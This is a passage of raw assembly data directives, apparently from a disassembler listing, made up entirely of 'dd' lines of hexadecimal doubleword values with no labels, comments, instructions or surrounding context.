dd 7B50B88Dh, 51830019h, 0A781F78Fh, 6D01422Dh, 0A897F412h
dd 3D0A948h, 7CAF1F29h, 4E92498Ch, 0D0E74C85h, 30F0851Ch
dd 1ED04B00h, 12CD68B0h, 7009FC89h, 24CF48FDh, 40438E17h
dd 0DC0F3EC4h, 5D0181CDh, 97FAC622h, 0C8204263h, 91CE00EDh
dd 6DDA0A0Fh, 0E900F613h, 8C2E2BE5h, 0E4EC9D6h, 86D8A999h
dd 5A3712A0h, 0FC03EDDAh, 0DF667BD1h, 0F73CE9E8h, 1E41AAD4h
dd 0E6A68F0Bh, 403000E4h, 5368B926h, 0FCC6A107h, 9B0079F3h
dd 4FFB203h, 1D64DE7Ch, 0F0B4F423h, 0E0425527h, 1EBAA5F8h
dd 84DDAE18h, 9040A808h, 2B39C530h, 75D51407h, 0CE1369BAh
dd 0C080ACD7h, 1D21AAC0h, 404EC194h, 154B1F4Dh, 0FE4A96C2h
dd 0CAB67880h, 521610A2h, 2C2079F6h, 2AB00545h, 0D3C57E3Ah
dd 31E8CFE0h, 0F13E2480h, 439300C0h, 0B44CDE05h, 967C018Dh
dd 0E4125499h, 4E308E41h, 73EDE09Ah, 0DC113Ah, 8CE90558h
dd 956B930Fh, 530046FAh, 0A4D009ADh, 397AC8h, 0BC372DFBh
dd 61E5B687h, 0C0117D2Dh, 5D5A2094h, 0ED3E2457h, 21C14B00h
dd 1FD53925h, 4EC8E800h, 2B0C1E2Eh, 5B300115h, 0C122C0DAh
dd 2825C4CAh, 829F182Fh, 0C8B52DA8h, 0A41A24h, 7C0ADFD5h
dd 5AE8E70Eh, 61752703h, 31D626Dh, 0D63094Ch, 598FF24h
dd 0D894D7C1h, 51BF4F00h, 2C4898E5h, 42C5733h, 0F9D52744h
dd 6AE301C4h, 0B21DA5E0h, 4F57F670h, 0C680805Fh, 1C00303Ah
dd 888086CCh, 0DF6A64h, 56B17AC1h, 0FEABF3A1h, 7D9ABA00h
dd 9C6F675Fh, 1E87A58h, 0D536E7A5h, 30B4559Bh, 191F96E0h
dd 838491BFh, 648046B9h, 3C14C1Fh, 112247A7h, 0E6D83D0Ah
dd 7A078ABEh, 7B70EF0Fh, 570EBAA0h, 0F74300CCh, 0EEDBCA13h
dd 0B90069F1h, 1787E8A1h, 0C3EF602h, 881C9C22h, 8E007110h
dd 6DFD39B3h, 0EEE14D4h, 0B019CB6Eh, 0C8F6C4A2h, 0EA01847Eh
dd 5C54B6DAh, 12002428h, 55D956C2h, 0DF13B26Ah, 0DC37ABA9h
dd 0D6198200h, 69E82E0Ah, 52D40260h, 487EA3A6h, 2128803Ch
dd 1019DF0Dh, 0EC6270FEh, 6F920153h, 132FDB82h, 4C433A52h
dd 985A10h, 27037B79h, 2AA44016h, 64DBBC05h, 100343C2h
dd 1416E13h, 0B890C139h, 0D088D8EBh, 2314DBBAh, 2C4613h
dd 0C982BC5h, 73706959h, 7CCE80Eh, 16EBA656h, 64EF50CFh
dd 0B2000FADh, 9FC03AD6h, 0A95CBFh, 8396FE42h, 4F0AA229h
dd 4B519000h, 608E0C67h, 73080082h, 0AFC19796h, 2900F702h
dd 95A74AB3h, 6FA07E7h, 65EDDCCBh, 0DB0088D7h, 4110B868h
dd 3AE89869h, 123030C2h, 5DC42910h, 0B302B0ECh, 5C7142Fh
dd 8144769Eh, 0C190270Ah, 3AE8BC70h, 0C3BF0AD8h, 0BB408848h
dd 9A16AAh, 35660994h, 0AF267D84h, 0F677CC7Ah, 0C0EC139Dh
dd 597F3Fh, 71C5E880h
dd 184FD05h, 940342FAh, 4032759Dh, 0F50F900Ah, 258A1F70h
dd 0B0EA4111h, 94553CE6h, 0E47CD2h, 78241FE1h, 1B87E4h
dd 484D7E73h, 0EF0A0280h, 6220500Fh, 0C081EE15h, 7B719E91h
dd 1DB7005Fh, 1859DB8h, 0BB004C72h, 69291AEBh, 1466F0h
dd 0A20A73ADh, 0F454A0C1h, 81F9B93Ah, 5AB2F20Eh, 0EC50526Fh
dd 7808C93h, 0D962AC2Ch, 0A6AFE00Ah, 130B27C3h, 0EBED205h
dd 2282A2A3h, 35948279h, 6698A0E7h, 3EB8469h, 0BB9B3B92h
dd 1198654Dh, 517D12D3h, 0DC5C251Fh, 0FA2342C0h, 6B1486h
dd 0D2DE02BDh, 0E965C49Ch, 0C12EC000h, 0C642DC40h, 25B300F5h
dd 8441386Eh, 471D1F74h, 0BDC359A3h, 0B8BBFB66h, 76F13B5h
dd 6C1D73B2h, 0E797D05Ch, 0AD60341Ah, 2CBC5E99h, 311002Dh
dd 900A3376h, 7C07C394h, 7A26FB5Dh, 13C4F730h, 0EC7F005Ch
dd 8598799h, 49018833h, 9B0C018Dh, 0B5C86066h, 7DE11E8Eh
dd 794C03A4h, 0ABB8D82Ch, 0F6003ED7h, 0CB76E5A9h, 1D16362h
dd 6AC00154h, 30C9B76Ch, 20D2A86Bh, 9A63D600h, 321674h
dd 6D2A1120h, 5CF73393h, 4306E5E2h, 75D85869h, 39BF0060h
dd 505E76FCh, 10A08BF3h, 121BDD84h, 2379EBD8h, 3601D388h
dd 2154CD63h, 3520E619h, 0B663D8h, 0F3281AC6h, 2EAE88FBh
dd 11FEEC1Fh, 1353FA83h, 2E7078DFh, 3D8335h, 249ECE7Ah
dd 0D918EBBDh, 96817104h, 0D4360103h, 20D66753h, 880998F4h
dd 0FADBB621h, 34EF3EDFh, 58863598h, 0FA0C5D84h, 108C5173h
dd 0FE1D00ADh, 1A9EDB8Ah, 0C6008BB2h, 0B891C8D7h, 3D3E7E39h
dd 500ECF4h, 8E980E01h, 0D40071A5h, 0D35E5A04h, 7E287Dh
dd 1B2B093Fh, 0C41CA452h, 0B1562206h, 0D2F8EBh, 87A0798Ch
dd 0D452EC5Ch, 55D1BF00h, 854A46A2h, 97630017h, 5369F524h
dd 8900A762h, 0E0B039BDh, 215FEFh, 0CF81A2E8h, 732483E1h
dd 0BDEE3Ah, 0A3D06B0Bh, 0EEE305EBh, 475A073Fh, 0E0D59AAEh
dd 0EEF01903h, 90C5F500h, 0BF978187h, 0F43D29A8h, 61785704h
dd 192D02BBh, 0BD394E55h, 478610A1h, 3C108FAFh, 0EB6FC546h
dd 0EC406087h, 0E4C70AEh, 877D9735h, 3075A6E0h, 14A07E3Ch
dd 0CB886EDBh, 88A892Ch, 0D7374405h, 2EB42284h, 447DE642h
dd 22841303h, 62742280h, 455F4040h, 1B10CE61h, 413E891Dh
dd 1367C228h, 414FA48Bh, 0A59A18B1h, 886A4429h, 0F1886847h
dd 41368931h, 1369F328h, 68791F03h, 3D2B401Dh, 363A2302h
dd 0F029C03Ch, 24351C00h, 2DFACDADh, 8B1B00B1h, 784962BFh
dd 821B1DB2h, 0E009BA90h, 0FEB1811Ah, 8F270083h, 0D83DD508h
dd 5B002BB6h, 0FD85426Fh, 265C3369h, 32C1D32h, 0EDBF0FA5h
dd 771F10D8h, 74033BE4h, 0E2685FA0h, 0DBFEF8E5h, 1C0C0739h
dd 71305689h, 47F49A72h, 468EC0B9h, 16F87AD3h, 46C413Bh
dd 0FF96C131h, 80700897h, 38D8AB46h, 5800F3F7h, 23181EF0h
dd 0ACE86E47h, 0BC357A00h, 0BF9EB7AFh, 4BA300EBh, 4F5F89A6h
dd 6F1C7C2Bh, 7A400EF3h, 9B207B33h, 988207EAh, 63342229h
dd 5F3EFD4h, 94D52100h, 96A30D72h, 0DF7112F9h, 0BB5C45C8h
dd 0BEB9C324h, 84DB1888h, 0AD29903h, 0A0154F2Bh, 175A3Bh
dd 68709AFFh, 7C272918h, 74F4D80Fh, 0D5877E43h, 9FF08FFCh
dd 3C123161h, 0F000DE72h, 3D071F79h, 0E3005D0Ch, 0FDFCA74Ch
dd 3CDD2AD8h, 2080DC54h, 30D7B5B4h, 0E00592Dh, 6FA3EA0Ah
dd 7A101CBh, 7A83BF9Ah, 2992505Fh, 0FC00C38Eh, 78C00703h
dd 87BE65h, 5DF54C0Ch, 0A96D4BF4h, 5E8E2700h, 9BFFBDF7h
dd 0FDBF007Dh, 10BCFB2Bh, 6403D02Ch, 540351C3h, 67A580DAh
dd 0FCBF00F5h, 66774408h, 603470Eh, 3C2D0C1Bh, 8039E36Dh
dd 393EF369h, 0CF006A09h, 0CD5D2053h, 560DD976h, 8215ED6h
dd 454F8F0h, 38E7AEEFh, 0F134807Dh, 2E12F2ACh, 2005741h
dd 173C71DCh, 995A0781h, 27C8B748h, 5BE04FD6h, 733F8E16h
dd 57F78A00h, 0BB4A93Dh, 7594126Fh, 0CB08387Bh, 3F3B5000h
dd 0EE47A0C3h, 0F03400C1h, 0DCF62317h, 0B479EC8Ah, 0F96FC701h
dd 7374D243h, 30803DE9h, 0C6CF53B2h, 609D917Eh, 0F46C6Ch
dd 1555D340h, 0E5A2191Fh, 0BAA13D00h, 71F01AD5h, 1C6D4992h
dd 0CC93120Eh, 9E2F1440h, 650079BCh, 0BF8A3A25h, 9C8118h
dd 553417B8h, 848FFF7Dh, 8E4EA300h, 0AE6C8638h, 911600F5h
dd 0E677C00Dh, 0FD00711Bh, 92734A25h, 0CF75CCh, 9AC1FA55h
dd 0DD29533Eh, 8F870400h, 0ED2FCD60h, 1197451h, 0FD02A7D2h
dd 0E8F2B2FCh, 252E63EEh, 803ED274h, 182178E3h, 0EAC8E69Dh
dd 27EB0097h, 35950EAAh, 86180C8Eh, 42D094F0h, 751901F3h
dd 8C72BC44h, 8E14F846h, 708A2C1Ch, 17F13880h, 1DFE9F8Bh
dd 80D0E5DAh, 90C97821h, 0C86FA0DCh, 83009D08h, 0ACB33DA7h
dd 7BD60044h, 5DF981F7h, 0B91E4796h, 0BD39AD31h, 0E113F15h
dd 4277E451h, 4073175Dh, 39996188h, 504C607Eh, 0EEDC9A80h
dd 0F100E00Bh, 1A3287AFh, 0FA86DCBh, 273A2835h, 0C08A417Fh
dd 0F4F86C76h, 5005881h, 13701618h, 0D69AC2h, 4B55B42Ah
dd 60EADD65h, 44682900h, 23195E2Fh, 0FC080396h, 0EB4D1195h
dd 0FED5D9A0h, 51A0C501h, 7A13CEADh, 7EB070h, 0B7D1EF86h
dd 0B5053DEBh, 0F47C472Eh, 0A8E71900h, 314FEECh, 9D341523h
dd 97B867A1h, 50008B29h, 5F52A27h, 0F8D56113h, 1DEA0399h
dd 30083FD3h, 0A53AA000h, 0F8E8F91Eh, 747B023Eh, 5CA27964h
dd 19BE4C40h, 16825958h, 1FFC0B54h, 0DD28FF30h, 4C300DC1h
dd 0EC4D39EDh, 0CB223CDAh, 37115CC8h, 0CAD0255h, 63A1DD42h
dd 69AA985Dh, 26AF0097h, 3D09245Eh, 72003570h, 27A6DDE2h
dd 23959B0h, 71162E85h, 0A86031EFh, 589DF444h, 2A4E00C4h
dd 776E2351h, 82033B45h, 8172E42h, 3EFDE8FAh, 744773B9h
dd 25BC1B78h, 9AD8405Dh, 693077B1h, 785F98F5h, 25EC6Ch
dd 3EA3BAC4h, 21BDFE47h, 8AEE18B0h, 0FA7A7101h, 0D84E8D72h
dd 0D2AED0h, 0B064A3C6h, 0E888E665h, 0B7F09900h, 3E24E2FFh
dd 4B34005Ch, 34585CAh, 0C30981A0h, 801AADDFh, 3163645Dh
dd 6CC200A3h, 0FA62F337h, 0A1011FCBh, 2B25C101h, 0B8F4ED0Dh
dd 10C460E3h, 6B41F580h, 0D50A6A01h, 0E809265Fh, 0A52420h
dd 0FB6D7C87h, 8493258Dh, 7733E003h, 0E1165342h, 5960FDB0h
dd 0D03C604Dh, 0CFFCC854h, 0E0B8AF28h, 4BEB200h, 11BB9C34h
dd 0FDF0FF38h, 0B34300C1h, 953E5BE7h, 390D9EDBh, 9A6CCAEh
dd 4AD9820h, 0B21F066Dh, 49B8C082h, 0DA0F4A44h, 40307EC8h
dd 0C3C2F213h, 0B2B70031h, 0C65C686Bh, 6E0F0CB1h, 1CF82D79h
dd 51314DC0h, 0F35A72h, 9D80022Ah, 65D2FFD9h, 0CEB4B0Fh
dd 46B661AAh, 0C2300B68h, 4598A0BCh, 0D97E00ECh, 0B37F166Eh
dd 78003D2Ch, 19A7CDE0h, 3D92F1EDh, 0F71F98F5h, 0FC71C026h
dd 0E6FF1BDFh, 41A46E00h, 53881C13h, 0EA1E010Fh, 54772F3Fh
dd 508D60B1h, 0DFA5E501h, 7F2D739Fh, 0B3972180h, 0C8812757h
dd 842E1C3Fh, 0AEC3D6E6h, 4C61AF03h, 9117F3D0h, 1B425F00h
dd 77951AE2h, 892F01F6h, 0A1292D61h, 4E3C2065h, 3B48100h
dd 3CB3B582h, 41B70185h, 55A3865Bh, 56B6FCA4h, 0E5EA79F0h
dd 0E6DA30E7h, 82134A06h, 0FE09529Bh, 288A012Eh, 20741F21h
dd 86B4DC17h, 718B8100h, 0D86E39A5h, 61730075h, 44963FBBh
dd 0A1002703h, 14C226FDh, 632372h, 0E1501119h, 0E8A0C18Eh
dd 3A092500h, 44744B8Fh
dd 41940E62h, 0B6603C33h, 457B38E0h, 5C552900h, 80BD7A0Ch
dd 5AEC0081h, 0AE9B98BAh, 0ACFA62F9h, 4137961Dh, 83E364C0h
dd 2974EAh, 0DB52DD8Dh, 0BD6D3FDCh, 4F0E5578h, 0C0805F88h
dd 10E175ABh, 626B00ECh, 0B11D2FA4h, 7D071351h, 85DCE08Dh
dd 0F2B98C40h, 0F1390275h, 0FEC7324Ch, 3F9B48E0h, 37839CA0h
dd 5DDEACA0h, 3C8D1F18h, 50C528h, 232E94A3h, 81E5F2F8h
dd 0C128C91Eh, 0F0323000h, 587EA780h, 18807887h, 45AC7158h
dd 0D627F200h, 5E7729C7h, 3FD102FFh, 2AB798Dh, 9ADAA882h
dd 0C67F5C60h, 1DC0031Fh, 61DFE900h, 789C75h, 7392B543h
dd 0AAA3E68h, 0F303677Ch, 1D64E6C4h, 0D761A0B4h, 5495306Bh
dd 76EDF458h, 0A75AA317h, 0B75DA000h, 7808CD50h, 8255004Ch
dd 1A7D96ECh, 0A2F63E16h, 2DBE691Fh, 9202031Fh, 435B53E5h
dd 0EB1E90D9h, 0A9421C3Ah, 0F693C0BAh, 8AF43D85h, 6F061400h
dd 3A08C3FDh, 2C100F3h, 5F6D8268h, 2E009545h, 19B0425Ch
dd 11253EFh, 17EAEC05h, 0BE52D1DCh, 0D42A0009h, 6A01B472h
dd 0A8904E7h, 0A4F0B679h, 3C1EDF70h, 571F0D10h, 0BB206440h
dd 973712h, 0F43804E4h, 332C7AF6h, 0DC53D00h, 2EE076B1h
dd 0A8A96037h, 0D85073BFh, 0F3F78E00h, 96DD6B60h, 0AB8D005Dh
dd 3CB6B5C6h, 0A01B28Bh, 8CBBFEC5h, 38BE2354h, 0E2358480h
dd 774565CAh, 3AAD7300h, 6BE1150Ch, 0F22B1629h, 14800026h
dd 8209BE79h, 6CDF8A01h, 0A6EC5808h, 3E448570h, 4A00D070h
dd 8ED7605Eh, 0F40155A5h, 28D3A0AEh, 0E6D80F30h, 690A00AFh
dd 0DBFA9D8Dh, 0CD1D5892h, 20005B62h, 6191E16Ch, 939700A5h
dd 0DB821A59h, 1B0272F0h, 6A2FA675h, 0EA94C098h, 0FF42000Bh
dd 0FE7774ECh, 79077EEFh, 9502F5F0h, 4009C141h, 0B20DCh
dd 7338FF5Fh, 7851F98Ah, 9E18130h, 0B50FEh, 143ABC10h
dd 7F7BEC0Ch, 600E6A7Eh, 0B3AE69EAh, 32B0D400h, 321E412h
dd 0C8223171h, 2DD037F2h, 0F9005E27h, 85BDB5F5h, 72859D2h
dd 0D9AD8D98h, 96D64010h, 0A009FB8h, 0E782C789h, 0E4BD08h
dd 3E4887C9h, 0F070737Dh, 0A3CF5104h, 1CC0E78Eh, 0EC10E8D8h
dd 3F600D4h, 0D01D1A2Dh, 14F279DCh, 8CC5AA00h, 568DC468h
dd 4E90ADh, 2C4AD794h, 2B01BD13h, 0D9B094B8h, 3FC6471h
dd 15636800h, 2C453A07h, 9592014Ch, 903C59C0h, 2AD3D02Bh
dd 2949E300h, 8285A724h, 500A0792h, 0E055E11Fh, 0A32B2CE0h
dd 0E3743509h, 0C42808FBh, 0B75F9E00h, 0FB8B022h, 42A33EEBh
dd 0C9A93BA4h, 387C2030h, 0A45FE40Bh, 0B6AC22B7h, 0BFA8C105h
dd 2D40AC65h, 142A4707h, 0C43A6028h, 26892B04h, 0F02CB484h
dd 0A300207Ch, 8A2D3E45h, 0BA1E0h, 17246FDh, 9C86FCA0h
dd 6938D4F7h, 639E9B0Eh, 195AB3Ch, 0BAF89838h, 0FA68E0h
dd 6F8D23B5h, 0D035AC96h, 7B4BC43Ch, 6D0C9h, 30F8C7A8h
dd 0BCA00B2h, 11C59C3Ah, 1F01C82Eh, 29F35FDh, 51F437ECh
dd 75701E5h, 0D1CCE64h, 9BE6Ch, 882C6F5Dh, 0C3352896h
dd 446AB3D0h, 84C18CE0h, 0A816C600h, 261D3AE4h, 7AB53EB4h
dd 6F6DFA81h, 2078302Bh, 0F03855F0h, 1200F03Fh, 3774BFD4h
dd 436ED6h, 4F2638AEh, 0B620BD92h, 6FFE3D04h, 24A00848h
dd 0CC933F34h, 661E8489h, 5CF0EC63h, 319B99Bh, 0D528EB0Dh
dd 0CCE14840h, 0DECD0005h, 0B68FFF78h, 6F67793h, 0BC014E28h
dd 62239F00h, 6DDC67C3h, 0A63B07E4h, 10DE1DF7h, 6FD3A314h
dd 0B2732300h, 34B5CDB0h, 0BDC00E36h, 6800DBBFh, 0E88927F6h
dd 1A3E2CFEh, 17238E4h, 0D3DB7969h, 0B3F0539Dh, 652D0091h
dd 0B2344364h, 2A2C0BB4h, 0D80937B9h, 0A34681DCh, 24873347h
dd 20DE77F0h, 81048EE7h, 0C5A03001h, 239E8C84h, 2D9860h
dd 8734192h, 0D38618D0h, 47006079h, 0D59C2B78h, 872C5Ah
dd 201519A0h, 513EF364h, 8F477C1Dh, 585772CFh, 29A10Ah
dd 1B8068D0h, 0DCE85924h, 45C33Dh, 514C7712h, 90D731h
dd 0F515F4C2h, 24EF8E29h, 0AC018CFCh, 891F5CBAh, 0BC5056A1h
dd 0B8D7A51Ah, 0D2930090h, 0E0A4111Dh, 0A10F2D44h, 2760E4h
dd 0A64263E9h, 78DF0074h, 7D087A4Dh, 0F0727F66h, 700008DFh
dd 0ADF34C65h, 14DC0007h, 9E1A108Ah, 311CF8BBh, 0C4DC19EDh
dd 0C66C5BC0h, 0BFB15Eh, 5AB701A1h, 0A2543BFDh, 836B1D1Dh
dd 47932BC0h, 6FE30F2h, 8267228Fh, 0D700C041h, 0F9E66C3Ch
dd 0EE06874h, 0AB963ED3h, 2A11F3E0h, 9B490258h, 7FF424A0h
dd 0E8F1DC0Ch, 3092EBh, 0A53B8A72h, 778BB0E6h, 3CF0D35Dh
dd 0A444009Eh, 0A9432594h, 51270E93h, 65A0ACCBh, 6626AE96h
dd 0B086C100h, 0E1E589F5h, 0E35A03F6h, 0E2A2EBD2h, 0FD01087Ch
dd 2F1138D9h, 8447DB84h, 0E0319642h, 0BF5FDAh, 0C2B549F3h
dd 24DE4651h, 98F88892h, 4D8AAA00h, 6082E98Eh, 4FE50464h
dd 0C0790D23h, 19695FFCh, 7D7E8F00h, 1B2436C5h, 0E98400D0h
dd 8E52B2B4h, 0C33DE198h, 0EFE68042h, 1ABA817Fh, 4B1014Fh
dd 33DD1C25h, 0D86DC438h, 6B562C00h, 2E0C3979h, 633B00D2h
dd 7C5EDD24h, 220F1DA0h, 80EFF2AFh, 5928D969h, 0FA89004Dh
dd 79200511h, 4F01D8FDh, 61E33BA6h, 6DD5CD1Bh, 6B2094F1h
dd 0BC7600A4h, 0AF80FC87h, 3600D2C7h, 0D8D6357Ch, 1237C4F9h
dd 0FE71B458h, 0D1FDF800h, 392EB9BAh, 6B01274Eh, 19573A9h
dd 30B3C8B8h, 37BD7D00h, 356115F0h, 0C16012A6h, 22950193h
dd 0C687F4B9h, 0F8F06A63h, 8A7030D4h, 3BC13F1Eh, 0EEAF1000h
dd 13734Fh, 6CE12D7Fh, 5F46BE09h, 31778F01h, 0A6918B83h
dd 0A084E7C4h, 7D417990h, 2AB076h, 0B3684C7Bh, 95324A7Dh
dd 660036FCh, 1B437CB1h, 147682h, 19D1C5D8h, 12EA200Fh
dd 8DB2737h, 0ABE9DDC1h, 78EF0EFh, 0C6A80EE2h, 0A280B479h
dd 0F2FAC9DAh, 66D6B500h, 0C425CF40h, 0C06700ACh, 6F13850Bh
dd 0B9077D09h, 8F23AB7Ch, 0A9AA4E10h, 0F2C70FF9h, 5260823Eh
dd 61985196h, 0BCC6BB3Eh, 0E9007401h, 0CEFDCF8Ch, 0A42F9Dh
dd 785BC27Ah, 0E77F35B4h, 0FF067E00h, 3273F4F1h, 6BE20749h
dd 90489BEDh, 20D3C0C3h, 7EA52D00h, 4F96CE0Eh, 26E6AFh
dd 7056FC08h, 0E0F03839h, 54534D0Eh, 420EB361h, 4EFB2C5Ch
dd 0C5220710h, 31F84D51h, 50E4B9C0h, 15C77DD0h, 9C56290Fh
dd 9DDCE207h, 904C4895h, 30D60E34h, 43801BEEh, 31D461EDh
dd 0D0CDE700h, 0D50ECB4Dh, 3F2A004Ah, 22480423h, 110D5B20h
dd 90321C9h, 0DA70F0h, 6E677E42h, 0FCE002D2h, 1DB88100h
dd 0D9F48288h, 0D8FF00F2h, 0EFF9E98Dh, 0E13048CAh, 6288B83Fh
dd 672D001Eh, 0DA5AA01h, 0CF00DA1Fh, 990EF43h, 0D788A0h
dd 0AB1054D1h, 0A1914751h, 0C2F21200h, 76B944FBh, 0FCE200FAh
dd 0D56698BBh, 2B3C6B23h, 631F0021h, 0D968AA0Ah, 30E4075Bh
dd 6F74504Eh, 5A6B9A60h, 0B8010979h, 99A71434h, 0B6C8EB61h
dd 0D677000Ch, 934475EFh, 522E3A12h, 720C47ABh, 7710AFh
dd 0C85CB1Eh, 755E43A8h, 0D1C97D18h, 3B9DC28h, 0AF717AB0h
dd 40F5BD36h, 2DD1CFE0h, 0A7CC1D9h, 0F1CD400h, 0D31AD2C8h
dd 6EE3ECCh, 7500233Bh, 2C827ED1h, 981F0B11h, 80584615h
dd 248109h, 9F9D9979h, 0FCD1E232h, 59EA6D00h, 875666D7h
dd 1F3A00CCh, 3E9F37DCh, 0B500E74Fh, 4E21EE77h, 3358C32h
dd 14D63C3Dh, 8E886979h, 0BD005CDCh, 994C6FA6h, 7BC75D7h
dd 0C31CE17Fh, 0ADB8E0FAh
dd 81D0C0Bh, 0DDC1B2EAh, 0AA21306Ch, 5570F8EFh, 3219C065h
dd 84913B89h, 0A4E2ED00h, 0CBB7F4A5h, 589A26h, 0C14760ACh
dd 8AFB2212h, 0D94C6109h, 80A889BAh, 0B4F20B02h, 0DA400038h
dd 0DF7EB3A6h, 8807B287h, 0AAF18473h, 0EE4260FEh, 24317220h
dd 66F29h, 0FF6A068Dh, 0CA0C6309h, 904F8608h, 729D00EBh
dd 602935A4h, 34627C01h, 60615288h, 0EAC8A19Ch, 194203BEh
dd 66B75D40h, 0ED53CAA8h, 69C0F24Ch, 0EC8000C4h, 9F851Eh
dd 6A929A7Eh, 0BB907CBFh, 0D90080B8h, 0D781E90Eh, 60897749h
dd 30C2D0B3h, 347A0531h, 0ED73CB00h, 0A81E99DBh, 2C0E0024h
dd 0B364CCD7h, 53004B8Ch, 12EF5F52h, 0A592D3Ch, 421A090Ah
dd 0FDEC008Ah, 0C604C726h, 0DDDF4Ch, 6489D4DDh, 829BF1h
dd 45BBD973h, 58BD47FEh, 8710EA3Bh, 87CBE0BEh, 4B2F4170h
dd 0EBB200FFh, 0F983B5A6h, 7E00BB5Ah, 6392A395h, 1E602E06h
dd 445F0744h, 0C0D285E5h, 8764E010h, 0CBBE6701h, 0D1BD3A89h
dd 3F760E0h, 9B3DDC7Dh, 0FAE0C03Eh, 0D5036C6Fh, 0EC501918h
dd 5451A961h, 400009BEh, 77ADF22Ah, 1009C7Eh, 0E9324CE0h
dd 0F1A3CC3h, 636AFB87h, 0BAC5EF6h, 2C009D25h, 1DD6D3E4h
dd 758E859h, 48EF41EEh, 47EA0FA0h, 0A28026CEh, 677F04D5h
dd 13E4C72Bh, 0F9D8969Dh, 0D200CAB1h, 0E43FE8C5h, 0C260720h
dd 3ABDA3EDh, 663B4610h, 16F50087h, 4AAB6130h, 0B7F91EB6h
dd 805864D0h, 0C771B5BBh, 0AC001440h, 748C75EBh, 379D4B08h
dd 0B0991B5Ch, 0FF89B8EFh, 0F6D6800h, 9C78F614h, 0C5BC0015h
dd 1F3487Eh, 58E823D3h, 1F5A58h, 62C3E21h, 1B556DCh, 0CA8A48AEh
dd 710760FEh, 0F411C853h, 0B571262Ch, 4056EF0Eh, 5C2B61B0h
dd 79EA24F9h, 574E0E04h, 0F8F67C00h, 55E45267h, 0F5116D00h
dd 0E60EAFB3h, 41A74D1h, 91FD737h, 1134C036h, 0BE05F6AAh
dd 6CA9D05Eh, 62C54CC0h, 0DB6E0EE6h, 0DE40E56Fh, 0D4419FD1h
dd 0ADE36D0Eh, 7CE420D0h, 11362CFh, 14C369F0h, 0D11C6A89h
dd 1F09BEF1h, 2801A21h, 0AFA86658h, 74A5128Bh, 8F3C40EFh
dd 1705C7FFh, 5D50AE01h, 51E957BFh, 0AAB499EAh, 0B145F540h
dd 0D4992DBBh, 3A078DD0h, 6934BF38h, 0D25A2F80h, 43900024h
dd 48889314h, 60FC39Fh, 8197A7B6h, 9582AE3Ah, 72E064h
dd 56CFACFBh, 142C132Dh, 0C2608F00h, 0DB3FF657h, 0A9B00053h
dd 0C84274E2h, 0BA28A356h, 0F83B8749h, 0ED2580A1h, 4F8F942Ah
dd 23CF3DF1h, 9634D887h, 2C7BC024h, 892CC558h, 4A0040EDh
dd 0FB2FEF1Bh, 0B302260Fh, 5AEA0F5Bh, 5F7E00FEh, 8F892A52h
dd 0E31B3D00h, 84EB15Bh, 7B8D000Ch, 35D8EDEh, 0B81D600Ah
dd 2758211Ah, 0F85DB2Ch, 0EC77F475h, 74A156C1h, 0D846F528h
dd 3100E945h, 54B2123Bh, 775FBFFh, 0A9D66AF9h, 0C605E22h
dd 2953DC09h, 9B82E806h, 0E605F9Eh, 16707135h, 0D1637098h
dd 4EA37407h, 2F017C38h, 0C3F05B83h, 1420695h, 105D28AFh
dd 44453Ch, 0B73823E1h, 0EA429689h, 745E2CD6h, 0E3390E3Bh
dd 4A0C2C34h, 67716543h, 1949D800h, 2402BDD6h, 5CE00040h
dd 72CFE68Ch, 0C40F9137h, 0D81F8B73h, 14C26859h, 2877DEAAh
dd 0C4AA11Dh, 85A82EA3h, 595F6800h, 0F4F943BBh, 7B4800D1h
dd 0A2558425h, 3500712Eh, 21B733F5h, 98589Ch, 23D2E217h
dd 1AAFB09Bh, 0B520D00h, 29B67F69h, 6A58003Ah, 1B10D7DFh
dd 0F7006C2Bh, 62070102h, 0FCDA28A1h, 117B0096h, 0FE730AEFh
dd 7800A720h, 0AB146FBAh, 31A7AFAh, 0D2EEE21Eh, 80D40EA2h
dd 0A79822BCh, 293AFD00h, 0B6F40307h, 0FAE10583h, 5EE423h
dd 0B47E3090h, 920B5Ch, 0AA043552h, 1DA13AB0h, 0C8DFA400h
dd 882A3B34h, 6A7600FEh, 3F71CA44h, 4A0FD88Ah, 71D82E7h
dd 708787FDh, 0A405814Fh, 9EF0CFFAh, 353B01E5h, 0D8CCF0A3h
dd 0CCBF07Bh, 80002AF0h, 0CDE76834h, 0F346B8h, 2F50FED2h
dd 0DFA31E6Ch, 751B5B00h, 4C1D8188h, 14D3022Ah, 0A6D8E71h
dd 0B036495h, 0E7342E1Eh, 0E81F6F03h, 0E923B7h, 0FD15B299h
dd 0A32E077h, 58AA0B07h, 8C0E5A0Eh, 84B52913h, 39652510h
dd 17140E21h, 0CE12128h, 2296A09h, 1D4F2284h, 229B2D22h
dd 66225FA7h, 0C8DBB057h, 0FB421929h, 4FA2566h, 442ED828h
dd 0B8469625h, 0DE42C919h, 111A6511h, 2E199491h, 8122914h
dd 5D12F7BFh, 10922882h, 2253B622h, 92220AAh, 1B122298h
dd 14048A25h, 0D54C29A3h, 99003351h, 6ACB2BEBh, 2C2E5798h
dd 0F9AF7Ch, 8B712DD0h, 0C200D6ADh, 72661B62h, 186D79h
dd 3286519Eh, 0A7E068A0h, 0BACBB301h, 0BF804F4Eh, 0FB1AF8h
dd 405C50C4h, 1BA67437h, 0BC60F800h, 0AFCDAEDCh, 0C37D1CB6h
dd 9105C0CFh, 3AD70125h, 8EB23200h, 0CE36BDF2h, 0CAE22E41h
dd 0EABC00C7h, 0E5AD0554h, 8014843Ch, 56FC9770h, 7A4F8D5h
dd 30F2C9EBh, 7CD403F1h, 1A44A7C8h, 0B0036F0Eh, 5139803Eh
dd 0F167AFh, 2C6448ABh, 4287BB7Ah, 2AFF8002h, 48CBC3A2h
dd 3676650h, 261BEC2Bh, 3F8F0B59h, 7DE0772Fh, 4BCD4161h
dd 2F4239h, 55C57AEh, 794FDFh, 557BF51Fh, 7DC23239h, 5031A200h
dd 76988E8Dh, 37C905Ch, 0ADDA2B95h, 3FB0A64Eh, 0CF039A3Eh
dd 2C011226h, 0F707D80Dh, 7F6700CBh, 378EA318h, 0D30FF84Bh
dd 69C83AE1h, 0A2EA00CEh, 0A585BFh, 0F9C2DFAFh, 0F84AE09h
dd 8A2A8300h, 0B4C97362h, 0D2500ABCh, 0D82790h, 23778DBDh
dd 5EF07603h, 53C73B00h, 0F019C31Bh, 0F239001Ch, 3F70A4F5h
dd 80002CD9h, 8AD40D62h, 8CCB6h, 289F45F6h, 42843409h
dd 17115D00h, 0E625A6DBh, 0F9E700DEh, 0BA32FEC6h, 447DA1BCh
